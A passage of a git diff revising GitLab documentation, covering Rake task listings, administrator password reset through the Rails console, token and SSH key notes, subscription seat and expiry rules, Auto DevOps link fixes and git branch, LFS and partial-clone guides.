-| [Praefect Rake tasks](../administration/raketasks/praefect.md) | [Praefect](../administration/gitaly/praefect.md)-related tasks. |
-| [Project import/export](../administration/raketasks/project_import_export.md) | Prepare for [project exports and imports](../user/project/settings/import_export.md). |
-| [Sample Prometheus data](generate_sample_prometheus_data.md) | Generate sample Prometheus data. |
-| [SPDX license list import](spdx.md) **(PREMIUM SELF)** | Import a local copy of the [SPDX license list](https://spdx.org/licenses/) for matching [License Compliance policies](../user/compliance/license_compliance/index.md).| |
-| [Repository storage](../administration/raketasks/storage.md) | List and migrate existing projects and attachments from legacy storage to hashed storage. |
-| [Uploads migrate](../administration/raketasks/uploads/migrate.md) | Migrate uploads between storage local and object storage. |
-| [Uploads sanitize](../administration/raketasks/uploads/sanitize.md) | Remove EXIF data from images uploaded to earlier versions of GitLab. |
-| [Usage data](../administration/troubleshooting/gitlab_rails_cheat_sheet.md#generate-usage-ping) | Generate and troubleshoot [Usage Ping](../development/usage_ping/index.md).|
-| [User management](user_management.md) | Perform user management tasks. |
-| [Webhooks administration](web_hooks.md) | Maintain project Webhooks. |
-| [X.509 signatures](x509_signatures.md) | Update X.509 commit signatures, useful if certificate store has changed. |
+| Tasks | Description |
+|:------------------------------------------------------|:------------|
+| [Back up and restore](backup_restore.md) | Back up, restore, and migrate GitLab instances between servers. |
+| [Clean up](cleanup.md) | Clean up unneeded items from GitLab instances. |
+| [Development](../development/rake_tasks.md) | Tasks for GitLab contributors. |
+| [Doctor tasks](../administration/raketasks/doctor.md) | Checks for data integrity issues. |
+| [Elasticsearch](../integration/elasticsearch.md#gitlab-advanced-search-rake-tasks) | Maintain Elasticsearch in a GitLab instance. |
+| [Enable namespaces](features.md) | Enable usernames and namespaces for user projects. |
+| [General maintenance](../administration/raketasks/maintenance.md) | General maintenance and self-check tasks. |
+| [Geo maintenance](../administration/raketasks/geo.md) | [Geo](../administration/geo/index.md)-related maintenance. |
+| [GitHub import](../administration/raketasks/github_import.md) | Retrieve and import repositories from GitHub. |
+| [Import repositories](import.md) | Import bare repositories into your GitLab instance. |
+| [Import large project exports](../development/import_project.md#importing-via-a-rake-task) | Import large GitLab [project exports](../user/project/settings/import_export.md). |
+| [Integrity checks](../administration/raketasks/check.md) | Check the integrity of repositories, files, and LDAP. |
+| [LDAP maintenance](../administration/raketasks/ldap.md) | [LDAP](../administration/auth/ldap/index.md)-related tasks. |
+| [List repositories](list_repos.md) | List all GitLab-managed Git repositories on disk. |
+| [Migrate snippets to Git](migrate_snippets.md) | Migrate GitLab Snippets to Git repositories, and show the migration status. |
+| [Praefect Rake tasks](../administration/raketasks/praefect.md) | [Praefect](../administration/gitaly/praefect.md)-related tasks. |
+| [Project import/export](../administration/raketasks/project_import_export.md) | Prepare for [project exports and imports](../user/project/settings/import_export.md). |
+| [Sample Prometheus data](generate_sample_prometheus_data.md) | Generate sample Prometheus data. |
+| [SPDX license list import](spdx.md) | Import a local copy of the [SPDX license list](https://spdx.org/licenses/) for matching [License Compliance policies](../user/compliance/license_compliance/index.md). | |
+| [Repository storage](../administration/raketasks/storage.md) | List and migrate existing projects and attachments from legacy storage to hashed storage. |
+| [Uploads migrate](../administration/raketasks/uploads/migrate.md) | Migrate uploads between local storage and object storage. |
+| [Uploads sanitize](../administration/raketasks/uploads/sanitize.md) | Remove EXIF data from images uploaded to earlier versions of GitLab. |
+| [Usage data](../administration/troubleshooting/gitlab_rails_cheat_sheet.md#generate-usage-ping) | Generate and troubleshoot [Usage Ping](../development/usage_ping/index.md). |
+| [User management](user_management.md) | Perform user management tasks. |
+| [Webhooks administration](web_hooks.md) | Maintain project webhooks. |
+| [X.509 signatures](x509_signatures.md) | Update X.509 commit signatures, which can be useful if the certificate store changed. |
diff --git a/doc/security/README.md b/doc/security/README.md
index 9b9d4f030ac..83073a4951c 100644
--- a/doc/security/README.md
+++ b/doc/security/README.md
@@ -25,6 +25,7 @@ type: index
- [Proxying images](asset_proxy.md)
- [CI/CD variables](cicd_variables.md)
- [Token overview](token_overview.md)
+- [Project Import decompressed archive size limits](project_import_decompressed_archive_size_limits.md)
## Securing your GitLab installation
diff --git a/doc/security/reset_user_password.md b/doc/security/reset_user_password.md
index ed7b9f89616..5f46ebcec31 100644
--- a/doc/security/reset_user_password.md
+++ b/doc/security/reset_user_password.md
@@ -11,6 +11,8 @@ There are a few ways to reset the password of a user.
## Rake Task
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52347) in GitLab 13.9.
+
GitLab provides a Rake Task to reset passwords of users using their usernames,
which can be invoked by the following command:
@@ -38,15 +40,15 @@ The Rake task is capable of finding users via their usernames. However, if only
user ID or email ID of the user is known, Rails console can be used to find user
using user ID and then change password of the user manually.
-1. Start a Rails console
-
- ```shell
- sudo gitlab-rails console -e production
- ```
+1. [Start a Rails console](../administration/operations/rails_console.md)
-1. Find the user either by user ID or email ID:
+1. Find the user either by username, user ID or email ID:
```ruby
+ user = User.find_by_username 'exampleuser'
+
+ #or
+
user = User.find(123)
#or
@@ -81,6 +83,23 @@ using user ID and then change password of the user manually.
NOTE:
You can also reset passwords by using the [Users API](../api/users.md#user-modification).
+## Password reset does not appear to work
+
+If you can't sign on with the new password, it might be because of the [reconfirmation feature](../user/upgrade_email_bypass.md).
+
+Try fixing this on the rails console. For example, if your new `root` password isn't working:
+
+1. [Start a Rails console](../administration/operations/rails_console.md).
+
+1. Find the user and skip reconfirmation. Any of the methods to find the user, above, will work:
+
+ ```ruby
+ user = User.find(1)
+ user.skip_reconfirmation!
+ ```
+
+1. Try to sign in again.
+
## Reset your root password
The previously described steps can also be used to reset the root password.
diff --git a/doc/security/token_overview.md b/doc/security/token_overview.md
index 2bb4ffa8eec..0ca1e07bf54 100644
--- a/doc/security/token_overview.md
+++ b/doc/security/token_overview.md
@@ -22,7 +22,7 @@ they inherit permissions from the user who created them.
## OAuth2 tokens
-GitLab can serve as an [OAuth2 provider](../api/oauth2.md) to allow other services to access the GitLab API on a user’s behalf.
+GitLab can serve as an [OAuth2 provider](../api/oauth2.md) to allow other services to access the GitLab API on a user's behalf.
You can limit the scope and lifetime of your OAuth2 tokens.
@@ -57,7 +57,7 @@ Deploy tokens can be managed by project maintainers and owners.
[Deploy keys](../user/project/deploy_keys/index.md) allow read-only or read-write access to your repositories by importing an SSH public key into your GitLab instance. Deploy keys cannot be used with the GitLab API or the registry.
-This is useful, for example, for cloning repositories to your Continuous Integration (CI) server. By using deploy keys, you don’t have to set up a fake user account.
+This is useful, for example, for cloning repositories to your Continuous Integration (CI) server. By using deploy keys, you don't have to set up a fake user account.
Project maintainers and owners can add or enable a deploy key for a project repository
@@ -65,13 +65,13 @@ Project maintainers and owners can add or enable a deploy key for a project repo
Runner registration tokens are used to [register](https://docs.gitlab.com/runner/register/) a [runner](https://docs.gitlab.com/runner/) with GitLab. Group or project owners or instance admins can obtain them through the GitLab user interface. The registration token is limited to runner registration and has no further scope.
-You can use the runner registration token to add runners that execute jobs in a project or group. The runner has access to the project’s code, so be careful when assigning project and group-level permissions.
+You can use the runner registration token to add runners that execute jobs in a project or group. The runner has access to the project's code, so be careful when assigning project and group-level permissions.
## Runner authentication tokens (also called runner tokens)
After registration, the runner receives an authentication token, which it uses to authenticate with GitLab when picking up jobs from the job queue. The authentication token is stored locally in the runner's [`config.toml`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html) file.
-After authentication with GitLab, the runner receives a [job token](../user/project/new_ci_build_permissions_model.md#job-token), which it uses to execute the job.
+After authentication with GitLab, the runner receives a [job token](../api/README.md#gitlab-cicd-job-token), which it uses to execute the job.
In case of Docker Machine/Kubernetes/VirtualBox/Parallels/SSH executors, the execution environment has no access to the runner authentication token, because it stays on the runner machine. They have access to the job token only, which is needed to execute the job.
@@ -79,9 +79,9 @@ Malicious access to a runner's file system may expose the `config.toml` file and
## CI/CD job tokens
-The [CI/CD](../api/README.md#gitlab-ci-job-token) job token
+The [CI/CD](../api/README.md#gitlab-cicd-job-token) job token
is a short lived token only valid for the duration of a job. It gives a CI/CD job
-access to a limited amount of [API endpoints](../api/README.md#gitlab-ci-job-token).
+access to a limited amount of API endpoints.
API authentication uses the job token, by using the authorization of the user
triggering the job.
@@ -105,4 +105,4 @@ This table shows available scopes per token. Scopes can be limited further on to
1. Limited to the one project.
1. Runner registration and authentication token don't provide direct access to repositories, but can be used to register and authenticate a new runner that may execute jobs which do have access to the repository
-1. Limited to certain [endpoints](../api/README.md#gitlab-ci-job-token).
+1. Limited to certain [endpoints](../api/README.md#gitlab-cicd-job-token).
diff --git a/doc/ssh/README.md b/doc/ssh/README.md
index 11ab991a7f3..87213f72534 100644
--- a/doc/ssh/README.md
+++ b/doc/ssh/README.md
@@ -218,6 +218,8 @@ To use SSH with GitLab, copy your public key to your GitLab account.
The expiration date is informational only, and does not prevent you from using
the key. However, administrators can view expiration dates and
use them for guidance when [deleting keys](../user/admin_area/credentials_inventory.md#delete-a-users-ssh-key).
+ - GitLab checks all SSH keys at 02:00 AM UTC every day. It emails an expiration notice for all SSH keys that expire on the current date. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/322637) in GitLab 13.11.)
+ - GitLab checks all SSH keys at 01:00 AM UTC every day. It emails an expiration notice for all SSH keys that are scheduled to expire seven days from now. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/322637) in GitLab 13.11.)
1. Select **Add key**.
## Verify that you can connect
diff --git a/doc/subscriptions/gitlab_com/index.md b/doc/subscriptions/gitlab_com/index.md
index 5aa5a06021c..f2a33e821b8 100644
--- a/doc/subscriptions/gitlab_com/index.md
+++ b/doc/subscriptions/gitlab_com/index.md
@@ -7,7 +7,7 @@ type: index, reference
# GitLab SaaS subscription **(PREMIUM SAAS)**
-GitLab SaaS is GitLab Inc.'s software-as-a-service offering. You don't need to
+GitLab SaaS is the GitLab software-as-a-service offering. You don't need to
install anything to use GitLab SaaS, you only need to
[sign up](https://gitlab.com/users/sign_up) and start using GitLab straight away.
@@ -15,9 +15,9 @@ This page reviews the details of your GitLab SaaS subscription.
## Choose a GitLab SaaS tier
-Pricing is [tier-based](https://about.gitlab.com/pricing/), allowing you to choose
-the features which fit your budget. For information on what features are available
-at each tier, see the
+Pricing is [tier-based](https://about.gitlab.com/pricing/), so you can choose
+the features that fit your budget. For information on the features available
+for each tier, see the
[GitLab SaaS feature comparison](https://about.gitlab.com/pricing/gitlab-com/feature-comparison/).
## Choose the number of users
@@ -91,6 +91,9 @@ The following table describes details of your subscription:
> - [Updated](https://gitlab.com/gitlab-org/gitlab/-/issues/292086) in GitLab 13.8 to include public
email address.
+To view a list of seats being used, go to **Settings > Billing**.
+Under **Seats currently in use**, select **See usage**.
+
The **Seat usage** page lists all users occupying seats. Details for each user include:
- Full name
@@ -117,6 +120,14 @@ For example:
| Amir | `ami` | Yes |
| Amir | `amr` | No |
+## Subscription expiry
+
+When your subscription expires, you can continue to use paid features of GitLab for 14 days.
+On the 15th day, paid features are no longer available. You can
+continue to use free features.
+
+To resume paid feature functionality, purchase a new subscription.
+
## Renew your GitLab SaaS subscription
To renew your subscription:
@@ -145,23 +156,42 @@ It's important to regularly review your user accounts, because:
attempt to renew a subscription for too few users.
- Stale user accounts can be a security risk. A regular review helps reduce this risk.
-#### Users over License
+#### Seats owed
A GitLab subscription is valid for a specific number of users. For details, see
[Choose the number of users](#choose-the-number-of-users).
If the number of [billable users](#view-your-gitlab-saas-subscription) exceeds the number included in the subscription, known
-as the number of _users over license_, you must pay for the excess number of
-users either before renewal, or at the time of renewal. This is also known the
-_true up_ process.
+as the number of _seats owed_, you must pay for the excess number of users before renewal.
+
+##### Seats owed example
+
+You purchase a subscription for 10 users.
+
+| Event | Billable members | Maximum users |
+|:---------------------------------------------------|:-----------------|:--------------|
+| Ten users occupy all 10 seats. | 10 | 10 |
+| Two new users join. | 12 | 12 |
+| Three users leave and their accounts are removed. | 9 | 12 |
+
+Seats owed = 12 - 10 (Maximum users - users in subscription)
### Renew or change a GitLab SaaS subscription
-You can adjust the number of users before renewing your GitLab SaaS subscription.
+Starting 30 days before a subscription expires, GitLab notifies group owners
+of the date of expiry with a banner in the GitLab user interface.
+
+We recommend following these steps during renewal:
+
+1. Prune any [inactive or unwanted users](#remove-billable-user).
+1. Determine if you have a need for user growth in the upcoming subscription.
+1. Log in to the [Customers Portal](https://customers.gitlab.com/customers/sign_in) and beneath your existing subscription, select the **Renew** button.
+1. Review your renewal details and complete the payment process.
+1. Select **Confirm purchase**.
-- To renew for more users than are currently included in your GitLab SaaS plan, [add users to your subscription](#add-users-to-your-subscription).
-- To renew for fewer users than are currently included in your GitLab SaaS plan,
-either [disable](../../user/admin_area/activating_deactivating_users.md#deactivating-a-user) or [block](../../user/admin_area/blocking_unblocking_users.md#blocking-a-user) the user accounts you no longer need.
+Your updated subscription is applied to your namespace on the renewal period start date.
+
+An invoice is generated for the renewal and available for viewing or download on the [View invoices](https://customers.gitlab.com/receipts) page. If you have difficulty during the renewal process, contact our [support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293) for assistance.
For details on upgrading your subscription tier, see
[Upgrade your GitLab SaaS subscription tier](#upgrade-your-gitlab-saas-subscription-tier).
@@ -219,18 +249,21 @@ To upgrade your [GitLab tier](https://about.gitlab.com/pricing/):
When the purchase has been processed, you receive confirmation of your new subscription tier.
-## See your billable users list
+## See your subscription and billable users in GitLab.com
-To see a list of your billable users on your GitLab group page go to **Settings > Billing**. This page provides information about your subscription and occupied seats for your group which is the list of billable users for your particular group.
+To view information about your subscription and occupied seats:
-## Subscription expiry
+1. Go to your group's **Settings > Billing** page.
+1. In the **Seats currently in use** area, select **See usage**.
+
+### Remove billable user
-When your subscription or trial expires, GitLab does not delete your data, but
-it may become inaccessible, depending on the tier at expiry. Some features may not
-behave as expected if you're not prepared for the expiry. For example,
-[environment specific variables not being passed](https://gitlab.com/gitlab-org/gitlab/-/issues/24759).
+To remove a billable user:
-If you renew or upgrade, your data is accessible again.
+1. Go to your group's **Settings > Billing** page.
+1. In the **Seats currently in use** area, select **See usage**.
+1. In the row for the user you want to remove, on the right side, select the ellipsis and **Remove user**.
+1. Re-type the username and select **Remove user**.
## CI pipeline minutes
diff --git a/doc/subscriptions/self_managed/index.md b/doc/subscriptions/self_managed/index.md
index dc98a9415d7..db0d54ff14c 100644
--- a/doc/subscriptions/self_managed/index.md
+++ b/doc/subscriptions/self_managed/index.md
@@ -28,11 +28,11 @@ The cost of a GitLab self-managed subscription is determined by the following:
- GitLab tier
- Subscription seats
-## GitLab tier
+## Choose a GitLab tier
-Pricing is [tier-based](https://about.gitlab.com/pricing/), allowing you to choose
-the features which fit your budget. For information on what features are available
-at each tier, see the
+Pricing is [tier-based](https://about.gitlab.com/pricing/), so you can choose
+the features that fit your budget. For information on the features available
+for each tier, see the
[GitLab self-managed feature comparison](https://about.gitlab.com/pricing/self-managed/feature-comparison/).
## Subscription seats
@@ -150,9 +150,9 @@ You purchase a license for 10 users.
| Event | Billable members | Maximum users |
|:---------------------------------------------------|:-----------------|:--------------|
-| Ten people (users) occupy all 10 seats. | 10 | 10 |
-| Two new people join. | 12 | 12 |
-| Three people leave and their accounts are removed. | 9 | 12 |
+| Ten users occupy all 10 seats. | 10 | 10 |
+| Two new users join. | 12 | 12 |
+| Three users leave and their accounts are removed. | 9 | 12 |
Users over license = 12 - 10 (Maximum users - users in license)
@@ -190,7 +190,7 @@ We recommend following these steps during renewal:
NOTE:
If you need to change your [GitLab tier](https://about.gitlab.com/pricing/), contact our sales team via `renewals@gitlab.com` for assistance as this can't be done in the Customers Portal.
-1. In the first box, enter the total number of user licenses you’ll need for the upcoming year. Be sure this number is at least **equal to, or greater than** the number of billable users in the system at the time of performing the renewal.
+1. In the first box, enter the total number of user licenses you'll need for the upcoming year. Be sure this number is at least **equal to, or greater than** the number of billable users in the system at the time of performing the renewal.
1. Enter the number of [users over license](#users-over-license) in the second box for the user overage incurred in your previous subscription term.
1. Review your renewal details and complete the payment process.
1. A license for the renewal term is available for download on the [Manage Purchases](https://customers.gitlab.com/subscriptions) page on the relevant subscription card. Select **Copy license to clipboard** or **Download license** to get a copy.
@@ -200,7 +200,7 @@ An invoice is generated for the renewal and available for viewing or download on
### Seat Link
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/208832) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.9.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/208832) in GitLab 12.9.
Seat Link allows GitLab Inc. to provide our GitLab self-managed customers with prorated charges for user growth throughout the year using a quarterly reconciliation process.
@@ -269,7 +269,7 @@ You can view the exact JSON payload in the administration panel. To view the pay
#### Disable Seat Link
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/212375) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.10.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/212375) in GitLab 12.10.
Seat Link is enabled by default.
@@ -318,18 +318,15 @@ The new tier takes effect when the new license is uploaded.
## Subscription expiry
-When your subscription or trial expires, GitLab does not delete your data, but it
-may become inaccessible, depending on the tier at expiry. Some features may not
-behave as expected if you're not prepared for the expiry. For example,
-[environment specific variables not being passed](https://gitlab.com/gitlab-org/gitlab/-/issues/24759).
-If you renew or upgrade, your data is again accessible.
+When your license expires, GitLab locks down features, like Git pushes
+and issue creation. Then, your instance becomes read-only and
+an expiration message is displayed to all administrators.
-For GitLab self-managed customers, there is a 14-day grace period when your features
-continue to work as-is, after which the entire instance becomes read
-only.
+For GitLab self-managed instances, you have a 14-day grace period
+before this occurs.
-However, if you remove the license, you immediately revert to Free
-features, and the instance become read / write again.
+- To resume functionality, upload a new license.
+- To fall back to Free features, delete the expired license.
## Contact Support
diff --git a/doc/tools/email.md b/doc/tools/email.md
index 302279401f6..4dbb819c85b 100644
--- a/doc/tools/email.md
+++ b/doc/tools/email.md
@@ -11,6 +11,9 @@ GitLab provides a simple tool to administrators for emailing all users, or users
a chosen group or project, right from the Admin Area. Users receive the email
at their primary email address.
+For information about email notifications originating from GitLab, read
+[GitLab notification emails](../user/profile/notifications.md).
+
## Use-cases
- Notify your users about a new project, a new feature, or a new product launch.
diff --git a/doc/topics/authentication/index.md b/doc/topics/authentication/index.md
index 1988e3e2890..25640671e78 100644
--- a/doc/topics/authentication/index.md
+++ b/doc/topics/authentication/index.md
@@ -35,7 +35,6 @@ This page gathers all the resources for the topic **Authentication** within GitL
- [SAML OmniAuth Provider](../../integration/saml.md)
- [SAML for GitLab.com Groups](../../user/group/saml_sso/index.md) **(PREMIUM SAAS)**
- [SCIM user provisioning for GitLab.com Groups](../../user/group/saml_sso/scim_setup.md) **(PREMIUM SAAS)**
- - [Okta SSO provider](../../administration/auth/okta.md)
- [Kerberos integration (GitLab EE)](../../integration/kerberos.md) **(STARTER)**
## API
diff --git a/doc/topics/autodevops/customize.md b/doc/topics/autodevops/customize.md
index 7dcecb9af1e..ae6e57cd38e 100644
--- a/doc/topics/autodevops/customize.md
+++ b/doc/topics/autodevops/customize.md
@@ -171,7 +171,7 @@ list of options.
## Custom Helm chart per environment
You can specify the use of a custom Helm chart per environment by scoping the CI/CD variable
-to the desired environment. See [Limiting environment scopes of variables](../../ci/variables/README.md#limit-the-environment-scopes-of-cicd-variables).
+to the desired environment. See [Limit environment scope of CI/CD variables](../../ci/variables/README.md#limit-the-environment-scope-of-a-cicd-variable).
## Customizing `.gitlab-ci.yml`
diff --git a/doc/topics/autodevops/index.md b/doc/topics/autodevops/index.md
index dbb63275a06..03454649c7e 100644
--- a/doc/topics/autodevops/index.md
+++ b/doc/topics/autodevops/index.md
@@ -231,7 +231,7 @@ any of the following places:
**Continuous Integration and Delivery** section
The base domain variable `KUBE_INGRESS_BASE_DOMAIN` follows the same order of precedence
-as other environment [variables](../../ci/variables/README.md#priority-of-cicd-variables).
+as other environment [variables](../../ci/variables/README.md#cicd-variable-precedence).
If the CI/CD variable is not set and the cluster setting is left blank, the instance-wide **Auto DevOps domain**
setting is used if set.
@@ -274,7 +274,7 @@ used by Auto DevOps currently defines 3 environment names:
Those environments are tied to jobs using [Auto Deploy](stages.md#auto-deploy), so
except for the environment scope, they must have a different deployment domain.
You must define a separate `KUBE_INGRESS_BASE_DOMAIN` variable for each of the above
-[based on the environment](../../ci/variables/README.md#limit-the-environment-scopes-of-cicd-variables).
+[based on the environment](../../ci/variables/README.md#limit-the-environment-scope-of-a-cicd-variable).
The following table is an example of how to configure the three different clusters:
diff --git a/doc/topics/autodevops/requirements.md b/doc/topics/autodevops/requirements.md
index d536282cca4..8fb16511e34 100644
--- a/doc/topics/autodevops/requirements.md
+++ b/doc/topics/autodevops/requirements.md
@@ -91,7 +91,7 @@ To make full use of Auto DevOps with Kubernetes, you need:
To enable HTTPS endpoints for your application, you must install cert-manager,
a native Kubernetes certificate management controller that helps with issuing
certificates. Installing cert-manager on your cluster issues a
- [Let’s Encrypt](https://letsencrypt.org/) certificate and ensures the
+ [Let's Encrypt](https://letsencrypt.org/) certificate and ensures the
certificates are valid and up-to-date. If you've configured the GitLab integration
with Kubernetes, you can deploy it to your cluster by installing the
[GitLab-managed app for cert-manager](../../user/clusters/applications.md#cert-manager).
diff --git a/doc/topics/autodevops/stages.md b/doc/topics/autodevops/stages.md
index 913c221d8ec..97edc9adc06 100644
--- a/doc/topics/autodevops/stages.md
+++ b/doc/topics/autodevops/stages.md
@@ -137,8 +137,7 @@ might want to use a [custom buildpack](customize.md#custom-buildpacks).
## Auto Code Quality
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/1984) in [GitLab](https://about.gitlab.com/pricing/) 9.3.
-> - Made [available in all tiers](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) in GitLab 13.2.
+> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) to GitLab Free in 13.2.
Auto Code Quality uses the
[Code Quality image](https://gitlab.com/gitlab-org/ci-cd/codequality) to run
@@ -165,7 +164,7 @@ see the documentation.
## Auto Secret Detection
-> - Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.1.
+> - Introduced in GitLab Ultimate 13.1.
> - [Select functionality made available in all tiers](../../user/application_security/secret_detection/#making-secret-detection-available-to-all-gitlab-tiers) in 13.3
Secret Detection uses the
@@ -179,8 +178,6 @@ To learn more, see [Secret Detection](../../user/application_security/secret_det
## Auto Dependency Scanning **(ULTIMATE)**
-> Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.7.
-
Dependency Scanning runs analysis on the project's dependencies and checks for potential security issues.
The Auto Dependency Scanning stage is skipped on licenses other than
[Ultimate](https://about.gitlab.com/pricing/) and requires
@@ -195,7 +192,7 @@ see the documentation.
## Auto License Compliance **(ULTIMATE)**
-> Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.0.
+> Introduced in GitLab Ultimate 11.0.
License Compliance uses the
[License Compliance Docker image](https://gitlab.com/gitlab-org/security-products/analyzers/license-finder)
@@ -211,8 +208,6 @@ documentation.
## Auto Container Scanning **(ULTIMATE)**
-> Introduced in GitLab 10.4.
-
Vulnerability Static Analysis for containers uses [Clair](https://github.com/quay/clair)
to check for potential security issues on Docker images. The Auto Container Scanning
stage is skipped on licenses other than [Ultimate](https://about.gitlab.com/pricing/).
@@ -263,8 +258,6 @@ in the first place, and thus not realize that it needs to re-apply the old confi
## Auto DAST **(ULTIMATE)**
-> Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.4.
-
Dynamic Application Security Testing (DAST) uses the popular open source tool
[OWASP ZAProxy](https://github.com/zaproxy/zaproxy) to analyze the current code
and check for potential security issues. The Auto DAST stage is skipped on
@@ -422,10 +415,10 @@ including support for `Deployment` in the `extensions/v1beta1` version.
To use Auto Deploy on a Kubernetes 1.16+ cluster:
-1. If you are deploying your application for the first time on GitLab 13.0 or
+1. If you are deploying your application for the first time in GitLab 13.0 or
newer, no configuration should be required.
-1. On GitLab 12.10 or older, set the following in the [`.gitlab/auto-deploy-values.yaml` file](customize.md#customize-values-for-helm-chart):
+1. In GitLab 12.10 or older, set the following in the [`.gitlab/auto-deploy-values.yaml` file](customize.md#customize-values-for-helm-chart):
```yaml
deploymentApiVersion: apps/v1
@@ -439,7 +432,7 @@ To use Auto Deploy on a Kubernetes 1.16+ cluster:
GitLab 12.9 or 12.10, set `AUTO_DEVOPS_POSTGRES_CHANNEL` to `2`.
WARNING:
-On GitLab 12.9 and 12.10, opting into
+In GitLab 12.9 and 12.10, opting into
`AUTO_DEVOPS_POSTGRES_CHANNEL` version `2` deletes the version `1` PostgreSQL
database. Follow the [guide to upgrading PostgreSQL](upgrading_postgresql.md)
to back up and restore your database before opting into version `2` (On
@@ -739,7 +732,7 @@ To use Auto Monitoring:
1. [Install and configure the Auto DevOps requirements](requirements.md).
1. [Enable Auto DevOps](index.md#enable-or-disable-auto-devops), if you haven't done already.
-1. Navigate to your project's **{rocket}** **CI/CD > Pipelines** and click **Run Pipeline**.
+1. Navigate to your project's **{rocket}** **CI/CD > Pipelines** and click **Run pipeline**.
1. After the pipeline finishes successfully, open the
[monitoring dashboard for a deployed environment](../../ci/environments/index.md#monitoring-environments)
to view the metrics of your deployed application. To view the metrics of the
diff --git a/doc/topics/autodevops/troubleshooting.md b/doc/topics/autodevops/troubleshooting.md
index ed75dd4e262..cf2a2133fa3 100644
--- a/doc/topics/autodevops/troubleshooting.md
+++ b/doc/topics/autodevops/troubleshooting.md
@@ -39,7 +39,7 @@ Found errors in your .gitlab-ci.yml:
jobs:test config key may not be used with `rules`: only
```
-This error appears when the included job’s rules configuration has been overridden with the `only` or `except` syntax.
+This error appears when the included job's rules configuration has been overridden with the `only` or `except` syntax.
To fix this issue, you must either:
- Transition your `only/except` syntax to rules.
diff --git a/doc/topics/git/feature_branch_development.md b/doc/topics/git/feature_branch_development.md
index 5f4b5632f33..8d18441aadd 100644
--- a/doc/topics/git/feature_branch_development.md
+++ b/doc/topics/git/feature_branch_development.md
@@ -23,10 +23,29 @@ In such cases, it may be more efficient to submit an MR on the release post feat
In this case, the feature branch would be `release-X-Y`. Assuming the `release-X-Y` branch already exists, you can set up an MR against that branch, with the following steps:
-1. Create a new branch (`test-branch`) against the feature branch (`release-X-Y`):
+1. Navigate to the main (master) branch:
```shell
- git checkout -b test-branch release-X-Y
+ git checkout master
+ ```
+
+1. Make sure you have the latest version of your repository:
+
+ ```shell
+ git fetch
+ git pull
+ ```
+
+1. Check out the feature branch:
+
+ ```shell
+ git checkout release-x-y
+ ```
+
+1. Create a new branch (`test-branch`) against the feature branch (`release-x-y`):
+
+ ```shell
+ git checkout -b test-branch release-x-y
```
You should now be on a branch named `test-branch`.
diff --git a/doc/topics/git/lfs/index.md b/doc/topics/git/lfs/index.md
index 11c0fcc2373..0851d3f6b50 100644
--- a/doc/topics/git/lfs/index.md
+++ b/doc/topics/git/lfs/index.md
@@ -114,10 +114,10 @@ See the documentation on [File Locking](../../../user/project/file_lock.md).
## LFS objects in project archives
> - Support for including Git LFS blobs inside [project source downloads](../../../user/project/repository/index.md) was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15079) in GitLab 13.5.
-> - It was [deployed behind a feature flag](../../../user/feature_flags.md), disabled by default.
-> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/268409) on GitLab 13.6.
-> - It's enabled on GitLab.com.
-> - It's recommended for production use.
+> - [Deployed behind a feature flag](../../../user/feature_flags.md), disabled by default.
+> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/268409) in GitLab 13.6.
+> - Enabled on GitLab.com.
+> - Recommended for production use.
> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-lfs-objects-in-project-archives).
WARNING:
diff --git a/doc/topics/git/numerous_undo_possibilities_in_git/index.md b/doc/topics/git/numerous_undo_possibilities_in_git/index.md
index 76fc9bc92b0..eba471882f1 100644
--- a/doc/topics/git/numerous_undo_possibilities_in_git/index.md
+++ b/doc/topics/git/numerous_undo_possibilities_in_git/index.md
@@ -379,7 +379,7 @@ it also provides a clear timeline and development structure.
![Use revert to keep branch flowing](img/revert.png)
-If you want to revert changes introduced in certain `commit-id` you can simply
+If you want to revert changes introduced in certain `commit-id`, you can
revert that `commit-id` (swap additions and deletions) in newly created commit:
You can do this with
diff --git a/doc/topics/git/partial_clone.md b/doc/topics/git/partial_clone.md
index 7f2543f040a..cad29d30af4 100644
--- a/doc/topics/git/partial_clone.md
+++ b/doc/topics/git/partial_clone.md
@@ -5,11 +5,13 @@ info: "To determine the technical writer assigned to the Stage/Group associated
type: reference, howto
---
-# Partial Clone **(FREE)**
+# Partial clone **(FREE)**
As Git repositories grow in size, they can become cumbersome to work with
-because of the large amount of history that must be downloaded, and the large
-amount of disk space they require.
+because of:
+
+- The large amount of history that must be downloaded.
+- The large amount of disk space they require.
[Partial clone](https://github.com/git/git/blob/master/Documentation/technical/partial-clone.txt)
is a performance optimization that "allows Git to function without having a
@@ -58,9 +60,10 @@ Updating files: 100% (13008/13008), done.
Filtering content: 100% (3/3), 131.24 MiB | 4.65 MiB/s, done.
```
-The output is longer because Git first clones the repository excluding
-files larger than 1 megabyte, and second download any missing large files needed
-to checkout the `master` branch.
+The output is longer because Git:
+
+1. Clones the repository excluding files larger than 1 megabyte.
+1. Downloads any missing large files needed to check out the default branch.
When changing branches, Git may need to download more missing files.
@@ -68,9 +71,9 @@ When changing branches, Git may need to download more missing files.
> [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/2553) in GitLab 12.10.
-For enormous repositories with millions of files, and long history, it may be
-helpful to exclude all files and use in combination with `sparse-checkout` to
-reduce the size of your working copy.
+For repositories with millions of files and a long history, you can exclude all files and use
